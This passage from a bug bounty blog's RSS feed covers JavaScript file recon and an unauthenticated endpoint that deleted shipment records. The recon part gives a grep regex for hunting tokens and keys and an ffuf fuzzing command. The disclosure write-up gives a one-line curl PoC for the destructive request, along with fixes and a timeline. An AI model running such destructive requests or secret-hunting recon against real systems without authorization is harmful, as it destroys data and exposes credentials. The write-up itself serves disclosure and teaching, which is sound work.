<h3 data-start="535" data-end="559">🔍 What to Look For:</h3>
<p data-start="561" data-end="641">Look for variable names in JS code that might indicate sensitive input, such as:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-js"><span class="hljs-keyword">const</span> userId = <span class="hljs-title function_">getCurrentUserId</span>();<br />
<span class="hljs-keyword">const</span> redirectUrl = <span class="hljs-variable language_">window</span>.<span class="hljs-property">location</span>.<span class="hljs-property">href</span>;<br />
<span class="hljs-keyword">const</span> token = <span class="hljs-title function_">getAuthToken</span>();<br />
</code></div>
</div>
<p data-start="761" data-end="842">These are goldmines — especially when passed to backend APIs or appended to URLs.</p>
<hr data-start="844" data-end="847" />
<h3 data-start="849" data-end="892">🛠️ Regex to Extract Suspect Variables:</h3>
<p data-start="894" data-end="931">Run this in your downloaded JS files:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">grep -Eo <span class="hljs-string">'([a-zA-Z0-9_]{3,})\s*=\s*(["'</span>\`]?.{1,80}[<span class="hljs-string">"'\`]?)' *.js | grep -iE 'user|token|auth|id|url|key'<br />
</span></code></div>
</div>
<p data-start="1051" data-end="1081">You&#8217;ll often catch lines like:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><span class="hljs-attr">authToken</span> = <span class="hljs-string">"abc123xyz"</span><br />
<span class="hljs-attr">user_id</span> = request.user.id<br />
<span class="hljs-attr">redirectURL</span> = <span class="hljs-string">"/dashboard?next=/admin"</span><br />
</code></div>
</div>
<hr data-start="1181" data-end="1184" />
<h3 data-start="1186" data-end="1224">🎯 Why This Matters for Bug Bounty</h3>
<p data-start="1226" data-end="1316">Once you know the <strong data-start="1244" data-end="1269">exact parameter names</strong> being used, you can test them with tools like:</p>
<ul data-start="1318" data-end="1488">
<li data-start="1318" data-end="1376">
<p data-start="1320" data-end="1376"><strong data-start="1320" data-end="1337">Burp Repeater</strong> – Manually inject or override params</p>
</li>
<li data-start="1377" data-end="1436">
<p data-start="1379" data-end="1436"><strong data-start="1379" data-end="1402">ffuf or ParamSpider</strong> – Fuzz for parameter-based bugs</p>
</li>
<li data-start="1437" data-end="1488">
<p data-start="1439" data-end="1488"><strong data-start="1439" data-end="1448">Arjun</strong> – Auto-discovers hidden HTTP parameters</p>
</li>
</ul>
<p data-start="1490" data-end="1502">For example:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">ffuf -u https://target.com/profile?FUZZ=123 -w params.txt -fs 0<br />
</code></div>
</div>
<p data-start="1581" data-end="1616">You might discover parameters like:</p>
<ul data-start="1618" data-end="1668">
<li data-start="1618" data-end="1634">
<p data-start="1620" data-end="1634"><code data-start="1620" data-end="1632">admin=true</code></p>
</li>
<li data-start="1635" data-end="1656">
<p data-start="1637" data-end="1656"><code data-start="1637" data-end="1654">access=internal</code></p>
</li>
<li data-start="1657" data-end="1668">
<p data-start="1659" data-end="1668"><code data-start="1659" data-end="1668">debug=1</code></p>
</li>
</ul>
<p data-start="1670" data-end="1703">All because the JS revealed them!</p>
<hr data-start="3762" data-end="3765" />
<h2 data-start="3767" data-end="3784">Best Practices</h2>
<ul data-start="3786" data-end="4064">
<li data-start="3786" data-end="3884">
<p data-start="3788" data-end="3884">Always <strong data-start="3795" data-end="3807">prettify</strong> JavaScript code for better readability (<code data-start="3848" data-end="3862">jsbeautifier</code>, online formatters)</p>
</li>
<li data-start="3885" data-end="3936">
<p data-start="3887" data-end="3936">Respect <strong data-start="3895" data-end="3909">robots.txt</strong> and <strong data-start="3914" data-end="3934">terms of service</strong></p>
</li>
<li data-start="3937" data-end="3995">
<p data-start="3939" data-end="3995">Don’t report fake issues—test thoroughly and reproduce</p>
</li>
<li data-start="3996" data-end="4064">
<p data-start="3998" data-end="4064">Use clear write-ups with request/response, impact, and remediation</p>
</li>
</ul>
<hr data-start="4066" data-end="4069" />
<h2 data-start="4071" data-end="4128">Bonus: Real Bug Bounty Report from JavaScript Analysis</h2>
<p data-start="4130" data-end="4278">I once found a hidden admin dashboard <code data-start="4168" data-end="4192">/admin/internal/config</code> from a JS file. No auth, full access to user records. Reported it → <strong data-start="4261" data-end="4277">$1000 payout</strong>.</p>
<p data-start="4280" data-end="4291">Tools used:</p>
<ul data-start="4292" data-end="4336">
<li data-start="4292" data-end="4304">
<p data-start="4294" data-end="4304">Burp Suite</p>
</li>
<li data-start="4305" data-end="4317">
<p data-start="4307" data-end="4317">LinkFinder</p>
</li>
<li data-start="4318" data-end="4336">
<p data-start="4320" data-end="4336">Manual JS review</p>
</li>
</ul>
<hr data-start="4338" data-end="4341" />
<h2 data-start="4343" data-end="4356">Conclusion</h2>
<p data-start="4358" data-end="4580">If you want to be a successful <strong data-start="4389" data-end="4410">bug bounty hunter</strong>, you must master JavaScript analysis. It&#8217;s one of the highest ROI areas in recon. Start small—analyze one file, extract endpoints, look for secrets, automate what works.</p>
<p data-start="4582" data-end="4691">Stick with it. I started just a year ago, and now I consistently find high-severity bugs through JS analysis.</p>
<hr data-start="4693" data-end="4696" />
<h2 data-start="4698" data-end="4735">Keywords in This Article:</h2>
<ul data-start="4736" data-end="4999">
<li data-start="4736" data-end="4762">
<p data-start="4738" data-end="4762"><code data-start="4738" data-end="4760">read javascript file</code></p>
</li>
<li data-start="4763" data-end="4787">
<p data-start="4765" data-end="4787"><code data-start="4765" data-end="4785">javascript js file</code></p>
</li>
<li data-start="4788" data-end="4811">
<p data-start="4790" data-end="4811"><code data-start="4790" data-end="4809">bug bounty hunter</code></p>
</li>
<li data-start="4812" data-end="4836">
<p data-start="4814" data-end="4836"><code data-start="4814" data-end="4834">bug bounty reports</code></p>
</li>
<li data-start="4837" data-end="4867">
<p data-start="4839" data-end="4867"><code data-start="4839" data-end="4865">learn bug bounty hunting</code></p>
</li>
<li data-start="4868" data-end="4891">
<p data-start="4870" data-end="4891"><code data-start="4870" data-end="4889">bug bounty course</code></p>
</li>
<li data-start="4892" data-end="4916">
<p data-start="4894" data-end="4916"><code data-start="4894" data-end="4914">bug bounty writeup</code></p>
</li>
<li data-start="4917" data-end="4939">
<p data-start="4919" data-end="4939"><code data-start="4919" data-end="4937">bug bounty tools</code></p>
</li>
<li data-start="4940" data-end="4970">
<p data-start="4942" data-end="4970"><code data-start="4942" data-end="4968">bug bounty for beginners</code></p>
</li>
<li data-start="4971" data-end="4999">
<p data-start="4973" data-end="4999"><code data-start="4973" data-end="4999">javascript file analysis</code></p>
</li>
</ul>
<hr data-start="5001" data-end="5004" />
<h2 data-start="5006" data-end="5043">Internal Links</h2>
<ul data-start="5044" data-end="5336">
<li data-start="5262" data-end="5336">
<p data-start="5264" data-end="5336"><a href="https://hackersatty.com/idor-vulnerability-api-bug-bounty-case-study/">My Internal Blogs</a></p>
</li>
</ul>
<hr data-start="5338" data-end="5341" />
<h2 data-start="5343" data-end="5365">External Resources:</h2>
<ul data-start="5366" data-end="5541">
<li data-start="5366" data-end="5434">
<p data-start="5368" data-end="5434"><a class="" href="https://github.com/GerbenJavado/LinkFinder" target="_new" rel="noopener" data-start="5368" data-end="5434">LinkFinder on GitHub</a></p>
</li>
<li data-start="5435" data-end="5491">
<p data-start="5437" data-end="5491"><a class="" href="https://github.com/m4ll0k/SecretFinder" target="_new" rel="noopener" data-start="5437" data-end="5491">SecretFinder</a></p>
</li>
<li data-start="5492" data-end="5541">
<p data-start="5494" data-end="5541"><a class="" href="https://github.com/0x240x23elu/JSLeak" target="_new" rel="noopener" data-start="5494" data-end="5541">JSLeak</a></p>
</li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/javascript-js-file-analysis-bug-bounty-guide/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">418</post-id>	</item>
		<item>
		<title>Critical Security Vulnerability: Unauthenticated Access to /shipments/deleted 1 Endpoint Allows Irreversible Data Deletion</title>
		<link>https://hackersatty.com/unauthenticated-api-endpoint-2/</link>
					<comments>https://hackersatty.com/unauthenticated-api-endpoint-2/#comments</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Mon, 02 Jun 2025 10:20:05 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[API endpoint]]></category>
		<category><![CDATA[Bug Bounty]]></category>
		<category><![CDATA[Bug Bounty Case Study]]></category>
		<category><![CDATA[Bug Bounty Hunting]]></category>
		<category><![CDATA[Exposed API Endpoints]]></category>
		<category><![CDATA[Sensitive Data Exposure]]></category>
		<category><![CDATA[Unauthenticated API Endpoint]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=273</guid>

					<description><![CDATA[Web applications often rely on API endpoints to manage critical functionalities, but when these endpoints lack proper security controls, they can lead to severe data breaches or disruptions. In this report, I detail a critical vulnerability I discovered in the shipment management module of a logistics platform, where a public API endpoint allowed unauthenticated deletion of shipment records. This issue posed a high-impact threat to business continuity and data integrity.]]></description>
										<content:encoded><![CDATA[<p data-start="215" data-end="419"><em data-start="339" data-end="372">By Satyam Pawale (@hackersatty)</em></p>
<hr data-start="421" data-end="424" />
<h2 data-start="426" data-end="514">About Me</h2>
<p data-start="516" data-end="781"><strong>Unauthenticated API Endpoint</strong></p>
<p data-start="516" data-end="781">Hello all! My name is <strong>Satyam Pawale</strong>, or simply @hackersatty within the bug bounty space. I started my cybersecurity journey in 2024, and since then, I have committed to finding and reporting responsibly vulnerabilities that might otherwise lead to significant harm.</p>
<p data-start="783" data-end="1069">In this blog, I&#8217;d like to talk about a real-world vulnerability that I found—a non-authenticated API endpoint where sensitive shipping records could be deleted with no type of login. No credentials, no auth, just one unauthenticated call that could delete business-critical information.</p>
<hr data-start="1134" data-end="1137" />
<h2 data-start="1139" data-end="1185">Introduction: Why APIs Require Lock and Key</h2>
<p data-start="1187" data-end="1391"><strong>Unauthenticated API Endpoint </strong>APIs drive nearly everything in the background of today&#8217;s web applications—showing product lists, handling user accounts. The same capability can turn into a security nightmare if APIs are left unguarded.</p>
<p data-start="1393" data-end="1656">While I was excavating a logistics platform (xyz.com), I uncovered an alarming problem: an open <strong>Unauthenticated API </strong> <strong>Endpoint</strong> that supported unauthenticated deletion of shipment records. No login was necessary, no API key verification—just call the endpoint, and data disappeared.</p>
<p data-start="1658" data-end="1811">A dive into how I discovered it, why it&#8217;s risky, and what needs to be done to address such a problem.</p>
<hr data-start="1813" data-end="1816" />
<h2 data-start="1818" data-end="1843">Vulnerability Overview</h2>
<p data-start="1845" data-end="1889">Let&#8217;s break it down. Here&#8217;s what went wrong:</p>
<ul data-start="1891" data-end="2106">
<li data-start="1891" data-end="1952">
<p data-start="1893" data-end="1952">A POST endpoint at /shipments/deleted was open to everyone.</p>
</li>
<li data-start="1953" data-end="1992">
<p data-start="1955" data-end="1992">There was no authentication required.</p>
</li>
<li data-start="1993" data-end="2039">
<p data-start="1995" data-end="2039">There were no user permission checks (RBAC).</p>
</li>
<li data-start="2040" data-end="2106">
<p data-start="2042" data-end="2106">The endpoint carried out destructive actions with no validation.</p>
</li>
</ul>
<p data-start="2108" data-end="2226">This is an age-old example of an unauthenticated API endpoint with the potential to have severe business implications.</p>
<hr data-start="2228" data-end="2231" />
<h2 data-start="2233" data-end="2255">Technical Breakdown</h2>
<h3 data-start="2257" data-end="2278">Affected Endpoint</h3>
<p data-start="2280" data-end="2315"><code data-start="2280" data-end="2315">https://xyz.com/shipments/deleted</code></p>
<h3 data-start="2317" data-end="2338">What Was Going On</h3>
<ul data-start="2340" data-end="2510">
<li data-start="2340" data-end="2383">
<p data-start="2342" data-end="2383">The endpoint was accepting POST requests.</p>
</li>
<li data-start="2384" data-end="2418">
<p data-start="2386" data-end="2418">No session or login were needed.</p>
</li>
<li data-start="2419" data-end="2450">
<p data-start="2421" data-end="2450">No user roles were validated.</p>
</li>
<li data-start="2451" data-end="2510">
<p data-start="2453" data-end="2510">Anyone who had this URL could delete their shipment data.</p>
</li>
</ul>
<p data-start="2512" data-end="2602">To summarize: anyone could open a terminal, enter one command, and begin deleting records.</p>
<hr data-start="2604" data-end="2607" />
<h2 data-start="2609" data-end="2634">Proof of Concept (PoC)</h2>
<div class="contain-inline-size rounded-2xl border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">curl -X POST https://xyz.com/shipments/deleted<br />
</code></div>
</div>
<p data-start="2696" data-end="2852">That&#8217;s it. This one-liner might erase shipment records in production. The fact that an API action with such great power was not authenticated is terrifying.</p>
<figure style="width: 875px" class="wp-caption alignnone"><img loading="lazy" decoding="async" src="https://miro.medium.com/v2/resize:fit:875/1*GGUJ_TnU04KMYVEHjkBspw.png" alt="Unauthenticated API endpoint vulnerability allowing unauthorized data deletion without login on xyz.com" width="875" height="282" title="Critical Security Vulnerability: Unauthenticated Access to /shipments/deleted 1 Endpoint Allows Irreversible Data Deletion 8"><figcaption class="wp-caption-text">Example of a critical security flaw where an unauthenticated API endpoint enables data deletion without login, exposing shipment data to public access.</figcaption></figure>
<hr data-start="2854" data-end="2857" />
<h2 data-start="2859" data-end="2898">Exploit Impact: What Could Go Wrong?</h2>
<p data-start="2900" data-end="2942">Let&#8217;s dive into the impact in more detail:</p>
<ol data-start="2944" data-end="3459">
<li data-start="2944" data-end="3017">
<p data-start="2946" data-end="3017">Unauthorized Data Deletion<br data-start="2972" data-end="2975" />No login necessary. Anyone might delete.</p>
</li>
<li data-start="3019" data-end="3117">
<p data-start="3021" data-end="3117">No Recovery<br data-start="3032" data-end="3035" />The deletion was irreversible. Once a shipment was deleted, there was no &#8220;undo.&#8221;</p>
</li>
<li data-start="3119" data-end="3240">
<p data-start="3121" data-end="3240">Automation Threat<br data-start="3138" data-end="3141" />Attackers would be able to automate this call with scripts and destroy whole datasets in minutes.</p>
</li>
<li data-start="3242" data-end="3350">
<p data-start="3244" data-end="3350">Business Disruption<br data-start="3263" data-end="3266" />The platform might lose order tracking, shipment history, and business continuity.</p>
</li>
<li data-start="3352" data-end="3459">
<p data-start="3354" data-end="3459">Legal Risk<br data-start="3364" data-end="3367" />Irreversible data loss without logs might breach data protection regulations such as GDPR.</p>
</li>
</ol>
<p data-start="3461" data-end="3559">This problem didn&#8217;t just impact data—it could bring operations to a standstill and hurt customers.</p>
<hr data-start="3561" data-end="3564" />
<h2 data-start="3566" data-end="3598">Reproducing the Vulnerability</h2>
<p data-start="3600" data-end="3621">Here&#8217;s what I tested:</p>
<ol data-start="3623" data-end="3759">
<li data-start="3623" data-end="3638">
<p data-start="3625" data-end="3638">Open terminal</p>
</li>
<li data-start="3639" data-end="3679">
<p data-start="3641" data-end="3679">Enter the curl command mentioned above</p>
</li>
<li data-start="3680" data-end="3759">
<p data-start="3682" data-end="3759">Shipment records were wiped out in an instant without login or authentication</p>
</li>
</ol>
<p data-start="3761" data-end="3832">I also tested with a browser-based tool and validated the same outcome.</p>
<hr data-start="3834" data-end="3837" />
<h2 data-start="3839" data-end="3883">Why This Happens: Missing Security Layers</h2>
<p data-start="3885" data-end="4011">Several developers assume that their APIs will only be requested from legitimate clients. But this is an unfounded assumption:</p>
<ul data-start="4013" data-end="4234">
<li data-start="4013" data-end="4107">
<p data-start="4015" data-end="4107"><strong data-start="4015" data-end="4054">Security by Obscurity doesn&#8217;t work:</strong> If an endpoint is exposed, someone will discover it.</p>
</li>
<li data-start="4108" data-end="4234">
<p data-start="4110" data-end="4234"><strong data-start="4110" data-end="4137">Forgetting Auth Checks:</strong> Developers, sometimes in staging or testing, disable auth. It should never happen in production.</p>
</li>
</ul>
<hr data-start="4236" data-end="4239" />
<h2 data-start="4241" data-end="4261">Recommended Fixes</h2>
<ol data-start="4263" data-end="5025">
<li data-start="4263" data-end="4370">
<p data-start="4265" data-end="4370"><strong data-start="4265" data-end="4314">Require Authentication for All Sensitive APIs</strong><br data-start="4314" data-end="4317" />Authenticate with tokens (JWT, OAuth2) or API keys.</p>
</li>
<li data-start="4372" data-end="4494">
<p data-start="4374" data-end="4494"><strong data-start="4374" data-end="4414">Use Role-Based Access Control (RBAC)</strong><br data-start="4414" data-end="4417" />Ensure only users of the appropriate role (e.g., admin) can delete records.</p>
</li>
<li data-start="4496" data-end="4631">
<p data-start="4498" data-end="4631"><strong data-start="4498" data-end="4528">Include Request Validation</strong><br data-start="4528" data-end="4531" />Validate inputs, check CSRF tokens, and include confirmation dialogues for destructive operations.</p>
</li>
<li data-start="4633" data-end="4765">
<p data-start="4635" data-end="4765"><strong data-start="4635" data-end="4653">Log Everything</strong><br data-start="4653" data-end="4656" />Log the who, what, and when for endpoint access. Add exceptions for user IPs, timestamps, and action types.</p>
</li>
<li data-start="4767" data-end="4911">
<p data-start="4769" data-end="4911"><strong data-start="4769" data-end="4793">Remove Public Access</strong><br data-start="4793" data-end="4796" />Don&#8217;t leave sensitive endpoints open to public internet exposure. Utilize API Gateways, WAFs, or IP whitelisting.</p>
</li>
<li data-start="4913" data-end="5025">
<p data-start="4915" data-end="5025"><strong data-start="4915" data-end="4936">Monitor and Alert</strong><br data-start="4936" data-end="4939" />Implement alerts for suspicious API access patterns, such as bulk deletion attempts.</p>
</li>
</ol>
<hr data-start="5027" data-end="5030" />
<h2 data-start="5032" data-end="5066">Responsible Disclosure Timeline</h2>
<div class="_tableContainer_16hzy_1">
<div class="_tableWrapper_16hzy_14 group flex w-fit flex-col-reverse" tabindex="-1">
<table class="w-fit min-w-(--thread-content-width)" data-start="5068" data-end="5532">
<thead data-start="5068" data-end="5123">
<tr data-start="5068" data-end="5123">
<th data-start="5068" data-end="5082" data-col-size="sm">Date</th>
<th data-start="5082" data-end="5123" data-col-size="md">Event</th>
</tr>
</thead>
<tbody data-start="5181" data-end="5532">
<tr data-start="5181" data-end="5238">
<td data-start="5181" data-end="5196" data-col-size="sm">Oct 11, 2024</td>
<td data-col-size="md" data-start="5196" data-end="5238">Report from researcher submitted</td>
</tr>
<tr data-start="5239" data-end="5304">
<td data-start="5239" data-end="5254" data-col-size="sm">Oct 17, 2024</td>
<td data-col-size="md" data-start="5254" data-end="5304">Security team requested additional information</td>
</tr>
<tr data-start="5305" data-end="5361">
<td data-start="5305" data-end="5320" data-col-size="sm">Oct 18, 2024</td>
<td data-col-size="md" data-start="5320" data-end="5361">Clarification and PoC provided</td>
</tr>
<tr data-start="5362" data-end="5418">
<td data-start="5362" data-end="5377" data-col-size="sm">Oct 22, 2024</td>
<td data-col-size="md" data-start="5377" data-end="5418">Vulnerability acknowledged and triaged</td>
</tr>
<tr data-start="5419" data-end="5475">
<td data-start="5419" data-end="5434" data-col-size="sm">Nov 12, 2024</td>
<td data-col-size="md" data-start="5434" data-end="5475">Retest showed the issue persisted</td>
</tr>
<tr data-start="5476" data-end="5532">
<td data-start="5476" data-end="5491" data-col-size="sm">Dec 3, 2024</td>
<td data-col-size="md" data-start="5491" data-end="5532">Patch deployed and verified as fixed</td>
</tr>
</tbody>
</table>
<div class="sticky end-(--thread-content-margin) h-0 self-end select-none">
<div class="absolute end-0 flex items-end"></div>
</div>
</div>
</div>
<hr data-start="5534" data-end="5537" />
<h2 data-start="5539" data-end="5574">Lessons for Security Researchers</h2>
<ol data-start="5576" data-end="6091">
<li data-start="5576" data-end="5675">
<p data-start="5578" data-end="5675"><strong data-start="5578" data-end="5602">Check Every Endpoint</strong><br data-start="5602" data-end="5605" />Even small or outdated endpoints may still be active and vulnerable.</p>
</li>
<li data-start="5677" data-end="5774">
<p data-start="5679" data-end="5774"><strong data-start="5679" data-end="5707">JavaScript is a Goldmine</strong><br data-start="5707" data-end="5710" />Inspect JavaScript files for references to internal API paths.</p>
</li>
<li data-start="5776" data-end="5896">
<p data-start="5778" data-end="5896"><strong data-start="5778" data-end="5800">Test Without Login</strong><br data-start="5800" data-end="5803" />Before logging in, try common endpoints unauthenticated. It may lead to surprising results.</p>
</li>
<li data-start="5898" data-end="6000">
<p data-start="5900" data-end="6000"><strong data-start="5900" data-end="5934">Combine Tools + Manual Testing</strong><br data-start="5934" data-end="5937" />Use Burp Suite, FFUF, or bespoke scripts, but check manually.</p>
</li>
<li data-start="6002" data-end="6091">
<p data-start="6004" data-end="6091"><strong data-start="6004" data-end="6017">Follow Up</strong><br data-start="6017" data-end="6020" />Retest always after reporting to make sure patches have been applied.</p>
</li>
</ol>
<hr data-start="6093" data-end="6096" />
<h2 data-start="6098" data-end="6115">Final Thoughts</h2>
<p data-start="6117" data-end="6289">This wasn&#8217;t some high-fancy zero-day or intricate chain of exploits. It was a humble but ruinous flaw—an unauthenticated API endpoint that supported destructive operations.</p>
<p data-start="6291" data-end="6400">The solution? Simple too. But finding it required diligent testing, attention to detail, and inquisitiveness.</p>
<p data-start="6402" data-end="6558">For coders, the message is clear: always lock down your <strong>Unauthenticated API Endpoint </strong>. Don&#8217;t let bad guys wreak havoc. For researchers, never take an endpoint at face value—test it.</p>
<p data-start="6560" data-end="6628">Security doesn&#8217;t need to be complex. But it needs to be intentional.</p>
<p data-start="6630" data-end="6671"><strong data-start="6630" data-end="6671">Let&#8217;s create secure apps, bug by bug.</strong></p>
<hr data-start="6673" data-end="6676" />
<p><strong>Other Internal Blog Link:</strong></p>
<ul data-spread="false">
<li><a href="https://hackersatty.com/bug-bounty-blogs">Hackersatty</a></li>
</ul>
<p data-start="6678" data-end="6692"><strong data-start="6678" data-end="6692">Resources:</strong></p>
<ul data-start="6694" data-end="6966">
<li data-start="6694" data-end="6768">
<p data-start="6696" data-end="6768"><a class="cursor-pointer" href="https://owasp.org/www-project-top-ten/" target="_new" rel="noopener" data-start="6696" data-end="6768">OWASP API Security Top 10</a></p>
</li>
<li data-start="6769" data-end="6873">
<p data-start="6771" data-end="6873"><a class="" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication" target="_new" rel="noopener" data-start="6771" data-end="6873">MDN Web Docs – HTTP Authentication</a></p>
</li>
<li data-start="6874" data-end="6966">
<p data-start="6876" data-end="6966"><a class="cursor-pointer" href="https://portswigger.net/burp" target="_new" rel="noopener" data-start="6876" data-end="6966">Burp Suite – Access Control Testing</a></p>
</li>
</ul>
<ul data-spread="false">
<li>
<h2>Final Thoughts: Keep Hunting, Keep Learning</h2>
<p>This was one of my earliest critical bug bounty finds and taught me that <strong>Unauthenticated API Endpoint</strong><strong> are one of the most vulnerable attack surfaces today</strong>. With tools like Swagger, Postman, and Burp Suite at your disposal, you don’t need to brute force—just observe and test logically.</p>
<p>🔍<strong>Unauthenticated API Endpoint</strong><strong> is more than headers and tokens—it&#8217;s about understanding how developers structure access and how attackers think.</strong></p>
<p>If you found this write-up helpful, feel free to connect with me on <a href="https://www.linkedin.com/in/hackersatty/" target="_blank" rel="noopener">LinkedIn</a> or follow my work on <a href="https://twitter.com/hackersatty" target="_blank" rel="noopener">Twitter</a>.</p>
<p>Until next time, stay curious and stay secure! 🔐</li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/unauthenticated-api-endpoint-2/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">273</post-id>	</item>
	</channel>
</rss>
